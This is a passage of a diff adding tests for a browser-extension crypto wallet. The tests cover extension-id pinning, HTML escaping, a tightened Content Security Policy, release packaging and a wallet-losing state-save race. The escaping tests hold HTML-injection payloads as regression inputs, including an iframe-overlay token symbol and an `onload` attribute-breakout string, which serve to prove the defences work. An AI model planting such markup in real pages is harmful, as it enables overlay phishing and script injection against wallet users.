+        check(
+            "with `key`, the second path reads the first path's storage",
+            keyed.seen === SENTINEL_VALUE,
+            "the second load read " +
+                JSON.stringify(keyed.seen) +
+                " instead of the value the first load wrote. The storage " +
+                "partition did not follow the extension across the move, " +
+                "which is the wallet silently reading as empty.",
+        );
+
+        // --- the same build with `key` removed: the control -----------------
+        const barePath = extensionCopy("bare-a", false);
+        const bareB = extensionCopy("bare-b", false);
+        const bare = await acrossTwoPaths("bare", barePath, bareB);
+        console.log("# without `key`: " + barePath + " -> " + bare.firstId);
+        console.log("# without `key`: " + bareB + " -> " + bare.secondId);
+        console.log("# without `key`: sentinel read back: " + bare.seen);
+
+        // Observed, not assumed. If Chrome ever stops deriving the id from
+        // the load path these two fail, and the right response is to record
+        // what it does now — not to delete them.
+        check(
+            "without `key`, two different paths produce DIFFERENT ids " +
+                "(observed Chrome behaviour, the defect this fixes)",
+            bare.firstId !== bare.secondId,
+            "both loads got " +
+                bare.firstId +
+                ", so the id no longer follows the load path on this Chrome",
+        );
+        check(
+            "without `key`, the second path sees an EMPTY partition " +
+                "(observed Chrome behaviour, the defect this fixes)",
+            bare.seen === null,
+            "the second load read " +
+                JSON.stringify(bare.seen) +
+                " from a different id's partition",
+        );
+
+        // --- both copies loaded at once, in one profile ---------------------
+        // The literal shape of the question, kept because "two unpacked loads
+        // in one profile" is what a user does when they forget to remove the
+        // old one. With `key`, both copies claim the same id.
+        const profile = tmpdir("simultaneous-profile");
+        const ctx = await launch(profile, [keyedA, keyedB]);
+        let ids = [];
+        try {
+            ids = await extensionIds(ctx, 2);
+        } finally {
+            await ctx.close();
+        }
+        console.log(
+            "# both keyed copies loaded at once: " +
+                ids.length +
+                " extension id(s): " +
+                ids.join(", "),
+        );
+        check(
+            "loading both keyed copies at once yields one id, not two " +
+                "(observed: Chrome does not load a second copy of an id it " +
+                "already has)",
+            ids.length === 1 && ids[0] === keyed.firstId,
+            "saw " + JSON.stringify(ids) + ", expected exactly one id",
+        );
+    } catch (e) {
+        failed += 1;
+        console.log("# ERROR: " + (e && e.stack ? e.stack : e));
+    } finally {
+        for (const dir of scratch) {
+            fs.rmSync(dir, { recursive: true, force: true });
+        }
+    }
+
+    console.log("1.." + checks.length);
+    if (checks.length === 0) {
+        console.log("# FAILED: this program asserted nothing");
+        process.exitCode = 1;
+        return;
+    }
+    console.log(
+        "# " +
+            (checks.length - failed) +
+            "/" +
+            checks.length +
+            " checks passed",
+    );
+    if (failed > 0) {
+        console.log("# FAILED");
+        process.exitCode = 1;
+    }
+}
+
+main().catch((e) => {
+    console.error("storagePartition: " + (e && e.stack ? e.stack : e));
+    process.exitCode = 1;
+});

tests/extensionId.test.js

@@ -0,0 +1,119 @@
+// The extension identity on both browsers, pinned.
+//
+// This is the anti-regression check for
+// https://git.eeqj.de/sneak/AutistMask/issues/310. An unpacked Chrome
+// extension with no `key` in its manifest gets an id derived from the
+// ABSOLUTE PATH it was loaded from, and chrome.storage.local is partitioned by
+// that id. Move the checkout, re-clone it, or load it from a second directory,
+// and the wallet is silently gone: the extension comes up on a fresh, empty
+// storage partition with no error anywhere. `key` pins the id to the public
+// key instead of to the path, which is what makes the storage survive.
+//
+// So the id is asserted as a literal. A test that merely recomputed the id
+// from whatever `key` happened to be in the manifest would pass after someone
+// replaced the key — and replacing the key is exactly the change that orphans
+// every existing wallet. The value below is the promise; changing it is a
+// migration, not an edit.
+//
+// Firefox needs no key: browser_specific_settings.gecko.id declares the id
+// directly, and it is pinned here for the same reason. The Firefox e2e suite
+// depends on it too (tests/e2e/firefox/driver.js maps it to a fixed uuid), and
+// tests/e2e/firefox/reinstall.js is the empirical half — it removes the add-on
+// and installs it again and reads the vault back out.
+
+const crypto = require("crypto");
+const fs = require("fs");
+const path = require("path");
+
+const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
+
+// The public half of an RSA keypair, DER-encoded SubjectPublicKeyInfo, base64.
+// The PRIVATE half is not in this repo and is not needed to build, load or
+// test anything here: it is only ever used to sign a CRX, which this repo does
+// not do.
+const CHROME_KEY =
+    "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy/G9gT4Z3Ci0HCmthUPEiCjENg+" +
+    "5meZpjdogyT7SiMfxENtHdrpDL6wGhAg1Dk0f1C67Ft8OYpMrMH3kiP2Wnt0UpHo45PY0YUU" +
+    "YzdJgbsp8u0kaykd5FFiY6FycIIFaTniMuh7wRKuNNdJWly+H3aG7qZ6nGu5PIMdb1GXUk35" +
+    "hY+yl7dz5dqFFYUCyxvWCT9XGBSYiI+XRBB/rVZjMWfWpaTmRPdOZ4+GO/Lx0OdMxKlPA/kL" +
+    "WoPot5vMlLn2FDPu6sASphiu7dKZnrINW+h/27jlHMJQS0jncB1EgqOHW0vbXrZnTveFX6UW" +
+    "+Qp86FfSkikhKtQgTW2A4mtWawIDAQAB";
+
+// chrome.storage.local for this extension lives under this id, and nowhere
+// else.
+const CHROME_EXTENSION_ID = "gipbhkogfopeahplcjhipkgpcimdpkip";
+
+const FIREFOX_EXTENSION_ID = "autistmask@sneak.berlin";
+
+// Chrome's id derivation: sha256 of the DER public key, first 16 bytes, each
+// hex digit mapped 0-f onto a-p. Written out here rather than taken on trust,
+// because the whole claim of this file is that the committed key produces that
+// id.
+function chromeExtensionId(keyBase64) {
+    const der = Buffer.from(keyBase64, "base64");
+    const digest = crypto.createHash("sha256").update(der).digest("hex");
+    return [...digest.slice(0, 32)]
+        .map((c) => String.fromCharCode(97 + parseInt(c, 16)))
+        .join("");
+}
+
+function readManifest(name) {
+    return JSON.parse(
+        fs.readFileSync(path.join(MANIFEST_DIR, name + ".json"), "utf8"),
+    );
+}
+
+describe("chrome extension identity", () => {
+    test("the manifest carries the pinned key", () => {
+        expect(readManifest("chrome").key).toBe(CHROME_KEY);
+    });
+
+    test("the key is a well-formed RSA public key", () => {
+        const der = Buffer.from(CHROME_KEY, "base64");
+        // Round-trips: a truncated or re-wrapped base64 blob would still
+        // decode to bytes, and Chrome would then derive an id from garbage.
+        expect(der.toString("base64")).toBe(CHROME_KEY);
+        const key = crypto.createPublicKey({
+            key: der,
+            format: "der",
+            type: "spki",
+        });
+        expect(key.asymmetricKeyType).toBe("rsa");
+        expect(key.asymmetricKeyDetails.modulusLength).toBe(2048);
+    });
+
+    test("the key derives the pinned extension id", () => {
+        expect(chromeExtensionId(CHROME_KEY)).toBe(CHROME_EXTENSION_ID);
+        expect(CHROME_EXTENSION_ID).toMatch(/^[a-p]{32}$/);
+    });
+
+    // The private half is a credential. It has never been in this repo and no
+    // target generates one into the working tree; this fails loudly if that
+    // ever changes, because a committed .pem is a key anyone can sign a CRX
+    // with under this extension's id.
+    test("no private key is committed anywhere in the tree", () => {
+        const tracked = require("child_process")
+            .execSync("git ls-files", {
+                cwd: path.join(__dirname, ".."),
+                encoding: "utf8",
+            })
+            .split("\n")
+            .filter(Boolean);
+        expect(tracked.filter((f) => /\.(pem|key|p12|pfx)$/i.test(f))).toEqual(
+            [],
+        );
+    });
+});
+
+describe("firefox extension identity", () => {
+    test("the manifest declares the pinned gecko id", () => {
+        const gecko = readManifest("firefox").browser_specific_settings.gecko;
+        expect(gecko.id).toBe(FIREFOX_EXTENSION_ID);
+    });
+
+    // Firefox derives nothing from the path, so no key field belongs here; one
+    // would be ignored and would only suggest the id came from somewhere else.
+    test("the firefox manifest carries no chrome key field", () => {
+        expect(readManifest("firefox").key).toBeUndefined();
+    });
+});

tests/htmlEscape.test.js

@@ -0,0 +1,110 @@
+// The escape every view depends on, and the length bound on a displayed
+// token symbol. Both were added for #307, where a token whose symbol()
+// returned an <iframe> tag rendered that iframe inside the popup.
+
+const { escapeHtml } = require("../src/shared/html");
+const {
+    displaySymbol,
+    MAX_SYMBOL_LENGTH,
+    UNKNOWN_SYMBOL,
+} = require("../src/shared/symbolDisplay");
+
+// The payload from the issue's reproduction, verbatim.
+const HOSTILE_SYMBOL =
+    '<iframe id="pwn" src="https://dapp.e2e.test/" ' +
+    'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
+
+describe("escapeHtml", () => {
+    test("escapes all five characters, quotes included", () => {
+        expect(escapeHtml("&<>\"'")).toBe("&amp;&lt;&gt;&quot;&#39;");
+    });
+
+    // The regression this function was rewritten for. The previous
+    // implementation round-tripped through a detached div's textContent,
+    // and an HTML text node serializes a quote as itself — so a value with
+    // a quote in it broke straight out of data-copy="..." and href="...".
+    test("escapes quotes, which the textContent round trip did not", () => {
+        expect(escapeHtml('a"b')).toBe("a&quot;b");
+        expect(escapeHtml("a'b")).toBe("a&#39;b");
+    });
+
+    test("does not double-escape an ampersand it just introduced", () => {
+        expect(escapeHtml("&lt;")).toBe("&amp;lt;");
+        expect(escapeHtml("&amp;")).toBe("&amp;amp;");
+    });
+
+    test("leaves a string with nothing to escape untouched", () => {
+        expect(escapeHtml("USDC")).toBe("USDC");
+        expect(escapeHtml("")).toBe("");
+    });
+
+    test("renders the hostile symbol inert", () => {
+        const out = escapeHtml(HOSTILE_SYMBOL);
+        expect(out).not.toContain("<");
+        expect(out).not.toContain(">");
+        expect(out).not.toContain('"');
+        expect(out).toContain("&lt;iframe");
+    });
+
+    // A quoted attribute is broken out of by a quote, a bare one by a
+    // space; both are closed here. Asserted as a whole attribute rather
+    // than character by character, because it is the attribute that has to
+    // survive, not the escape table.
+    test("a value carrying a quote stays inside its attribute", () => {
+        const evil = '" onload="alert(1)';
+        const attr = `data-copy="${escapeHtml(evil)}"`;
+        expect(attr).toBe('data-copy="&quot; onload=&quot;alert(1)"');
+        expect(attr.split('"').length - 1).toBe(2);
+    });
+
+    test("null and undefined render as nothing rather than as words", () => {
+        expect(escapeHtml(null)).toBe("");
+        expect(escapeHtml(undefined)).toBe("");
+    });
+
+    test("coerces a non-string without losing the escape", () => {
+        expect(escapeHtml(42)).toBe("42");
+        expect(escapeHtml({ toString: () => "<b>" })).toBe("&lt;b&gt;");
+    });
+});
+
+describe("displaySymbol", () => {
+    test("passes every symbol in the bundled list through unchanged", () => {
+        const { TOKENS } = require("../src/shared/tokenList");
+        for (const t of TOKENS) {
+            expect([t.address, displaySymbol(t.symbol)]).toEqual([
+                t.address,
+                t.symbol,
+            ]);
+        }
+    });
+
+    test("caps an over-long symbol and marks it as truncated", () => {
+        const long = "A".repeat(4096);
+        const out = displaySymbol(long);
+        expect(out.length).toBe(MAX_SYMBOL_LENGTH);
+        expect(out.endsWith("…")).toBe(true);
+    });
+
+    test("keeps a symbol of exactly the cap intact", () => {
+        const exact = "A".repeat(MAX_SYMBOL_LENGTH);
+        expect(displaySymbol(exact)).toBe(exact);
+    });
+
+    test("substitutes a placeholder for an absent symbol", () => {
+        expect(displaySymbol("")).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(null)).toBe(UNKNOWN_SYMBOL);
+        expect(displaySymbol(undefined)).toBe(UNKNOWN_SYMBOL);
+    });
+
+    // The cap is a layout bound and nothing more: it must not be mistaken
+    // for the thing that makes a symbol safe to render. A short hostile
+    // symbol passes through it untouched, and is inert only because the
+    // caller escapes it afterwards.
+    test("does not sanitize — a short markup symbol survives it verbatim", () => {
+        expect(displaySymbol("<img src=x>")).toBe("<img src=x>");
+        expect(escapeHtml(displaySymbol("<img src=x>"))).toBe(
+            "&lt;img src=x&gt;",
+        );
+    });
+});

tests/manifest.test.js

@@ -13,6 +13,33 @@
 // an exact match on the token set is what keeps the next edit from
 // smuggling one in alongside.
 //
+// It is also the anti-regression check for #307. The policy used to declare
+// script-src and object-src and nothing else, which left every directive
+// that does not fall back to them — and, absent default-src, every one that
+// does — wide open: a hostile ERC-20 symbol that reached innerHTML could
+// load a full-viewport cross-origin iframe over the wallet's own UI. The
+// escaping in src/shared/html.js is the primary fix; default-src is what
+// stops the next escape that slips from reaching the network.
+//
+// Every directive below is pinned exactly, because each of the four
+// loosenings is load-bearing and none of them may grow:
+//
+//   style-src 'unsafe-inline'  src/popup/index.html and the view helpers
+//                              use style="..." attributes throughout, which
+//                              CSP blocks without it. Chrome enforces this
+//                              on attributes, not just <style> blocks, and
+//                              Firefox has never implemented style-src-attr,
+//                              so there is no narrower spelling available.
+//   img-src data:              blockies are data: PNGs assigned to img.src.
+//   connect-src https: http:   the RPC endpoint is user-configurable, and a
+//                              local node over http://127.0.0.1 is a
+//                              supported configuration — the Firefox e2e
+//                              suite runs on exactly that.
+//   frame-src/form-action/base-uri  named rather than inherited: form-action
+//                              and base-uri do not fall back to default-src
+//                              at all, and frame-src 'none' is what kills
+//                              the reported attack outright.
+//
 // build.js copies these files to dist/<target>/manifest.json verbatim, so
 // what is asserted here is what ships.
 
@@ -21,8 +48,22 @@ const path = require("path");
 
 const MANIFEST_DIR = path.join(__dirname, "..", "manifest");
 
-const EXPECTED_SCRIPT_SRC = ["'self'", "'wasm-unsafe-eval'"];
-const EXPECTED_OBJECT_SRC = ["'self'"];
+const EXPECTED_DIRECTIVES = {
+    "default-src": ["'self'"],
+    "script-src": ["'self'", "'wasm-unsafe-eval'"],
+    "object-src": ["'self'"],
+    "style-src": ["'self'", "'unsafe-inline'"],
+    "img-src": ["'self'", "data:"],
+    "connect-src": ["'self'", "http:", "https:"],
+    "frame-src": ["'none'"],
+    "form-action": ["'none'"],
+    "base-uri": ["'none'"],
+};
+
+// Directives that fetch script. Nothing that can execute code may name a
+// remote source, an eval form, or an inline form; 'wasm-unsafe-eval' is the
+// single deliberate exception and it is pinned above.
+const SCRIPT_DIRECTIVES = ["default-src", "script-src", "object-src"];
 
 const FORBIDDEN_SOURCES = [
     "'unsafe-eval'",
@@ -53,26 +94,31 @@ function parseCsp(policy) {
 
 function assertPolicy(policy) {
     const directives = parseCsp(policy);
-    expect(Object.keys(directives).sort()).toEqual([
-        "object-src",
-        "script-src",
-    ]);
-    expect(directives["script-src"].slice().sort()).toEqual(
-        EXPECTED_SCRIPT_SRC,
+    // Exact, in both directions: a directive that appears here and not in
+    // EXPECTED_DIRECTIVES is an unreviewed addition, and one that
+    // disappears silently reopens whatever it was closing.
+    expect(Object.keys(directives).sort()).toEqual(
+        Object.keys(EXPECTED_DIRECTIVES).sort(),
     );
-    expect(directives["object-src"].slice().sort()).toEqual(
-        EXPECTED_OBJECT_SRC,
-    );
-    for (const source of FORBIDDEN_SOURCES) {
-        expect(directives["script-src"]).not.toContain(source);
-        expect(directives["object-src"]).not.toContain(source);
+    for (const [name, sources] of Object.entries(EXPECTED_DIRECTIVES)) {
+        expect([name, directives[name].slice().sort()]).toEqual([
+            name,
+            sources.slice().sort(),
+        ]);
+    }
+    for (const name of SCRIPT_DIRECTIVES) {
+        for (const source of FORBIDDEN_SOURCES) {
+            expect(name + " " + directives[name].join(" ")).not.toContain(
+                " " + source,
+            );
+        }
     }
 }
 
 describe("shipped Content Security Policy", () => {
     // MV3 takes an object and applies extension_pages to the popup and the
     // background service worker, which is where libsodium runs.
-    test("chrome MV3 allows WASM and nothing else beyond 'self'", () => {
+    test("chrome MV3 ships the pinned policy, default-src included", () => {
         const csp = readManifest("chrome").content_security_policy;
         expect(typeof csp).toBe("object");
         expect(Object.keys(csp)).toEqual(["extension_pages"]);
@@ -87,7 +133,7 @@ describe("shipped Content Security Policy", () => {
     // Firefox before 106 rejects an MV2 policy string that omits
     // object-src and falls back to its own default, discarding everything
     // declared here. Same policy as Chrome, different manifest shape.
-    test("firefox MV2 allows WASM and nothing else beyond 'self'", () => {
+    test("firefox MV2 ships the pinned policy, default-src included", () => {
         const csp = readManifest("firefox").content_security_policy;
         expect(typeof csp).toBe("string");
         assertPolicy(csp);

tests/packaging.test.js

@@ -0,0 +1,190 @@
+// The release archives: the zip container, and the self-containment rule.
+//
+// script/package produces one archive per browser and script/lib/package.js
+// decides what goes in it. The trap that rule exists for is real and specific:
+// build.js writes the compiled stylesheet to dist/styles.css at the dist/
+// ROOT, outside both browser directories, and copies it into each of them as
+// src/popup/styles.css. A `zip -r dist/chrome` is correct only because of that
+// copy, and would silently start shipping a popup with no stylesheet the
+// moment a reference pointed up and out of the directory.
+//
+// So the packager resolves every reference in the manifest and in every HTML
+// document, and fails on any that leaves the extension root. These are the
+// cases for that, plus the archive format itself — new code, and the thing the
+// artifact is made of.
+
+const {
+    checkSelfContained,
+    htmlReferences,
+    manifestReferences,
+} = require("../script/lib/package");
+const { readZip, writeZip } = require("../script/lib/zip");
+
+function archiveOf(files) {
+    return {
+        members: Object.keys(files).sort(),
+        read: (name) => Buffer.from(files[name] ?? "", "utf8"),
+    };
+}
+
+const MINIMAL_MANIFEST = {
+    manifest_version: 3,
+    name: "AutistMask",
+    version: "0.1.0",
+    action: { default_popup: "src/popup/index.html" },
+    background: { service_worker: "src/background/index.js" },
+};
+
+describe("archive self-containment", () => {
+    test("a complete tree passes", () => {
+        const { members, read } = archiveOf({
+            "manifest.json": JSON.stringify(MINIMAL_MANIFEST),
+            "src/popup/index.html":
+                '<link rel="stylesheet" href="styles.css" />' +
+                '<script src="index.js"></script>',
+            "src/popup/styles.css": "body{}",
+            "src/popup/index.js": "//",
+            "src/background/index.js": "//",
+        });
+        expect(() => checkSelfContained("chrome", members, read)).not.toThrow();
+    });
+
+    test("a manifest naming a file that is not in the archive fails", () => {
+        const { members, read } = archiveOf({
+            "manifest.json": JSON.stringify(MINIMAL_MANIFEST),
+            "src/popup/index.html": "<html></html>",
+            "src/popup/index.js": "//",
+        });
+        expect(() => checkSelfContained("chrome", members, read)).toThrow(
+            /would not be self-contained.*src\/background\/index\.js/s,
+        );
+    });
+
+    // The dist/styles.css case, exactly: a popup that reached up out of its
+    // own browser directory for the stylesheet the build leaves at the dist/
+    // root. Nothing would be missing from disk, and the zip would still be
+    // built — the archive would just have no stylesheet in it.
+    test("an HTML reference that escapes the extension root fails", () => {
+        const { members, read } = archiveOf({
+            "manifest.json": JSON.stringify(MINIMAL_MANIFEST),
+            "src/popup/index.html":
+                '<link rel="stylesheet" href="../../../styles.css" />',
+            "src/popup/index.js": "//",
+            "src/background/index.js": "//",
+        });
+        expect(() => checkSelfContained("chrome", members, read)).toThrow(
+            /resolves outside the extension root/,
+        );
+    });
+
+    test("a manifest reference that escapes the extension root fails", () => {
+        const { members, read } = archiveOf({
+            "manifest.json": JSON.stringify({
+                ...MINIMAL_MANIFEST,
+                background: { service_worker: "../shared/index.js" },
+            }),
+            "src/popup/index.html": "<html></html>",
+        });
+        expect(() => checkSelfContained("chrome", members, read)).toThrow(
+            /points outside the extension root/,
+        );
+    });
+
+    test("an archive with no manifest.json at its root fails", () => {
+        const { members, read } = archiveOf({ "src/popup/index.js": "//" });
+        expect(() => checkSelfContained("chrome", members, read)).toThrow(
+            /no manifest\.json at its root/,
+        );
+    });
+
+    test("manifest strings that are not paths are not treated as files", () => {
+        const found = manifestReferences({
+            name: "AutistMask",
+            version: "0.1.0",
+            permissions: ["storage", "<all_urls>"],
+            content_security_policy: {
+                extension_pages: "default-src 'self'; script-src 'self'",
+            },
+            key: "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzy",
+        });
+        expect([...found]).toEqual([]);
+    });
+
+    test("absolute, data: and anchor HTML references are not files", () => {
+        const refs = htmlReferences(
+            "src/popup/index.html",
+            '<a href="https://example.com/x.js">a</a>' +
+                '<img src="data:image/png;base64,AAAA" />' +
+                '<a href="#view-main">b</a>' +
+                '<script src="index.js"></script>',
+        );
+        expect([...refs]).toEqual(["src/popup/index.js"]);
+    });
+});
+
+describe("the zip container", () => {
+    const files = [
+        { name: "manifest.json", data: Buffer.from('{"a":1}') },
+        // Long enough that deflate wins, so both paths through compress() are
+        // exercised by one archive.
+        { name: "src/popup/index.js", data: Buffer.from("x".repeat(5000)) },
+        { name: "empty.txt", data: Buffer.alloc(0) },
+    ];
+
+    test("round-trips every member byte for byte", () => {
+        const entries = readZip(writeZip(files));
+        expect(entries.map((e) => e.name)).toEqual([
+            "empty.txt",
+            "manifest.json",
+            "src/popup/index.js",
+        ]);
+        for (const original of files) {
+            const found = entries.find((e) => e.name === original.name);
+            expect(found.data.equals(original.data)).toBe(true);
+        }
+    });
+
+    // The sha256 in release/SHA256SUMS has to be a property of the input. Two
+    // builds of one commit that produce different archives cannot be compared
+    // to each other, which is most of what publishing a digest is for.
+    test("is byte-identical across runs and independent of input order", () => {
+        const a = writeZip(files);
+        const b = writeZip([...files].reverse());
+        expect(a.equals(b)).toBe(true);
+    });
+
+    // Reading an archive back is how script/lib/package.js establishes that
+    // the artifact holds what dist/ holds, so a member whose bytes changed
+    // after it was written has to fail rather than be handed back.
+    test("a corrupted member fails its CRC on read", () => {
+        // One member, incompressible at this size, so it is stored verbatim
+        // and its bytes begin at a known offset: local header (30) + name.
+        const name = "a.js";
+        const archive = writeZip([{ name, data: Buffer.from("hello") }]);
+        expect(readZip(archive)[0].data.toString()).toBe("hello");
+        archive[30 + name.length] ^= 0xff;
+        expect(() => readZip(archive)).toThrow(/fails its recorded CRC32/);
+    });
+
+    test.each([["/abs.js"], ["../up.js"], ["a/../b.js"], ["a\\b.js"], [""]])(
+        "refuses the member name %p",
+        (name) => {
+            expect(() => writeZip([{ name, data: Buffer.from("x") }])).toThrow(
+                /member name/,
+            );
+        },
+    );
+
+    test("refuses an archive with no members", () => {
+        expect(() => writeZip([])).toThrow(/no members/);
+    });
+
+    test("refuses duplicate members", () => {
+        expect(() =>
+            writeZip([
+                { name: "a.js", data: Buffer.from("1") },
+                { name: "a.js", data: Buffer.from("2") },
+            ]),
+        ).toThrow(/duplicate member/);
+    });
+});

tests/stateMerge.test.js

@@ -0,0 +1,443 @@
+// saveState() used to write the entire state blob every time
+// (src/shared/state.js). Every extension page — the toolbar popup, a dApp
+// approval window opened by the background, backgroundRefresh() in
+// src/background/index.js — holds its own in-memory `state`, loaded once,
+// and src/popup/views/helpers.js showView() saves on EVERY navigation. So
+// any second page that saved after a first page had written something new
+// overwrote it, with no attacker and no unusual input: a whole wallet, name,
+// addresses and encrypted secret included, silently gone
+// (https://git.eeqj.de/sneak/AutistMask/issues/304).
+//
+// Both cases below drive the real state.js module through two independent
+// module registries sharing one storage backend, the way two real extension
+// pages share one chrome.storage.local. The storage stub structured-clones
+// on both get and set — a stub that hands back the object it was given
+// aliases the caller's own mutation and would make this entire defect class
+// invisible (see https://git.eeqj.de/sneak/AutistMask/issues/324).
+
+function makeStorage() {
+    let store = {};
+    return {
+        get: async (keys) => {
+            const wanted =
+                keys === undefined || keys === null
+                    ? Object.keys(store)
+                    : [].concat(keys);
+            const out = {};
+            for (const key of wanted) {
+                if (key in store) out[key] = structuredClone(store[key]);
+            }
+            return out;
+        },
+        set: async (items) => {
+            for (const [key, value] of Object.entries(items)) {
+                store[key] = structuredClone(value);
+            }
+        },
+    };
+}
+
+// One extension page: a fresh module registry over the shared storage.
+// state.js resolves the storage API at require time, so the stub has to be
+// installed before the module is loaded, and `state` is a module-level
+// singleton, so each page needs its own registry to hold its own copy.
+function loadPage(storage) {
+    jest.resetModules();
+    globalThis.chrome = { storage: { local: storage } };
+    return {
+        state: require("../src/shared/state"),
+        helpers: require("../src/popup/views/helpers"),
+    };
+}
+
+function wallet(name, secret, address) {
+    return {
+        type: "hd",
+        name,
+        xpub: "xpub-" + name,
+        encryptedSecret: secret,
+        nextIndex: 1,
+        addresses: [{ address, balance: "0", tokenBalances: [] }],
+    };
+}
+
+const W1 = wallet(
+    "Wallet 1",
+    "secret-one",
+    "0x66133E8ea0f5D1d612D2502a968757D1048c214a",
+);
+const W2 = wallet(
+    "Wallet 2",
+    "secret-two",
+    "0xdAC17F958D2ee523a2206206994597C13D831ec7",
+);
+
+// Minimal DOM: showView() toggles view elements, clears the flash line and
+// creates/removes the debug banner. Nothing here is asserted; it only has to
+// answer without throwing, the way the popup's own index.html would.
+function makeElement(id) {
+    const classes = new Set();
+    return {
+        id,
+        textContent: "",
+        style: {},
+        classList: {
+            add: (...n) => n.forEach((c) => classes.add(c)),
+            remove: (...n) => n.forEach((c) => classes.delete(c)),
+            toggle: (c, force) => {
+                const on = force === undefined ? !classes.has(c) : force;
+                if (on) classes.add(c);
+                else classes.delete(c);
+                return on;
+            },
+        },
+        remove: () => {},
+    };
+}
+
+function makeDocument() {
+    const els = new Map();
+    return {
+        getElementById(id) {
+            if (id === "debug-banner") return null;
+            if (!els.has(id)) els.set(id, makeElement(id));
+            return els.get(id);
+        },
+        createElement: () => makeElement("created"),
+        body: { prepend: () => {} },
+    };
+}
+
+afterEach(() => {
+    delete globalThis.chrome;
+    delete globalThis.document;
+});
+
+describe("a save from a page that never saw a wallet another page added", () => {
+    // The first DoD case on the issue: add a wallet in one page, then force
+    // a save from a second page loaded before that wallet existed. Both
+    // wallets must survive.
+    test("both wallets are in storage afterwards", async () => {
+        const storage = makeStorage();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // Loaded while storage held only Wallet 1, and never reloads —
+        // the approval window in the reproduction, or a second popup that
+        // has been open for a while.
+        const stale = loadPage(storage);
+        await stale.state.loadState();
+        expect(stale.state.state.wallets).toHaveLength(1);
+
+        // A second page, loaded after, adds a wallet — the exact sequence
+        // src/popup/views/addWallet.js uses.
+        const fresh = loadPage(storage);
+        await fresh.state.loadState();
+        fresh.state.state.wallets.push(W2);
+        fresh.state.state.hasWallet = true;
+        await fresh.state.saveState();
+
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // The stale page saves something that has nothing to do with
+        // wallets — exactly what showView() does on every navigation, and
+        // what backgroundRefresh() does after a balance poll.
+        stale.state.state.currentView = "settings";
+        await stale.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+    });
+});
+
+describe("the approval-window reproduction", () => {
+    // approval window open, add a wallet in the popup, confirm the approval
+    // — the exact sequence from the issue. The approval window and the
+    // popup are the same popup code with a different starting view, so
+    // showView() is the real save path in both: src/popup/views/approval.js
+    // showTxApproval() calls showView("approve-tx") when the window opens,
+    // and a successful confirm calls
+    // src/popup/views/txStatus.js showWait() -> startWait(), which calls
+    // showView("wait-tx") — the save that clobbered the second wallet in
+    // the reproduction on the issue.
+    test("the wallet added in the popup survives confirming the approval", async () => {
+        globalThis.document = makeDocument();
+
+        const storage = makeStorage();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // The background opens the approval window on the approve-tx
+        // screen; nothing else has happened yet.
+        const approvalWindow = loadPage(storage);
+        await approvalWindow.state.loadState();
+        approvalWindow.helpers.showView("approve-tx");
+        // showView() does not await its own saveState(); an extra save
+        // joins the same queue and only resolves once that one has too,
+        // which is the black-box way to know it landed.
+        await approvalWindow.state.saveState();
+
+        // The user adds a wallet in the popup — a separate page, loaded
+        // after the approval window.
+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.push(W2);
+        popup.state.state.hasWallet = true;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // The user confirms the approval. The approval window navigates
+        // approve-tx -> wait-tx, saving again from state it loaded before
+        // Wallet 2 ever existed.
+        approvalWindow.helpers.showView("wait-tx");
+        await approvalWindow.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+    });
+});
+
+// backgroundRefresh() (src/background/index.js) loads state, spends seconds
+// on network I/O in refreshBalances() (src/shared/balances.js) mutating
+// addr.balance/ensName/tokenBalances IN PLACE on the wallets it already
+// knew about, then saves. Precondition 2 on the issue: that refresh window
+// overlapping a membership change (add or delete) on another page must not
+// clobber or resurrect a wallet — a whole-field diff on `wallets` failed
+// this, because "background changed a balance" and "another page changed
+// membership" collided as the same field.
+describe("background refresh racing a wallet added on another page", () => {
+    test("the wallet added elsewhere survives background's stale balance save", async () => {
+        const storage = makeStorage();
+        await storage.set({ autistmask: { wallets: [W1] } });
+
+        // "background": loads first, and its save is the one that lands
+        // last, modeling the multi-second network round trip in between.
+        const background = loadPage(storage);
+        await background.state.loadState();
+        background.state.state.wallets[0].addresses[0].balance = "1.2345";
+
+        // A second page, loaded after, adds a wallet while background's
+        // refresh is still in flight.
+        const popup = loadPage(storage);
+        await popup.state.loadState();
+        popup.state.state.wallets.push(W2);
+        popup.state.state.hasWallet = true;
+        await popup.state.saveState();
+        expect(
+            (await storage.get("autistmask")).autistmask.wallets,
+        ).toHaveLength(2);
+
+        // background's save lands last, carrying only its balance update.
+        await background.state.saveState();
+
+        const persisted = (await storage.get("autistmask")).autistmask;
+        expect(persisted.wallets.map((w) => w.name)).toEqual([
+            "Wallet 1",
+            "Wallet 2",
+        ]);
+        expect(persisted.wallets.map((w) => w.encryptedSecret)).toEqual([
+            "secret-one",
+            "secret-two",
+        ]);
+        // The balance update itself must not be lost either — this is a
+        // merge, not deletion-always-wins.
+        expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
+    });
+});
+
+describe("background refresh racing a wallet deleted on another page", () => {
+    test("the wallet deleted elsewhere stays deleted after background's stale balance save", async () => {
+        const storage = makeStorage();
+        await storage.set({ autistmask: { wallets: [W1, W2] } });
+
+        const background = loadPage(storage);
+        await background.state.loadState();
+        background.state.state.wallets[0].addresses[0].balance = "1.2345";
+
+        // A second page deletes Wallet 2 while background's refresh is in
+        // flight — the same splice deleteWallet.js's removeWalletFromState()
+        // does.
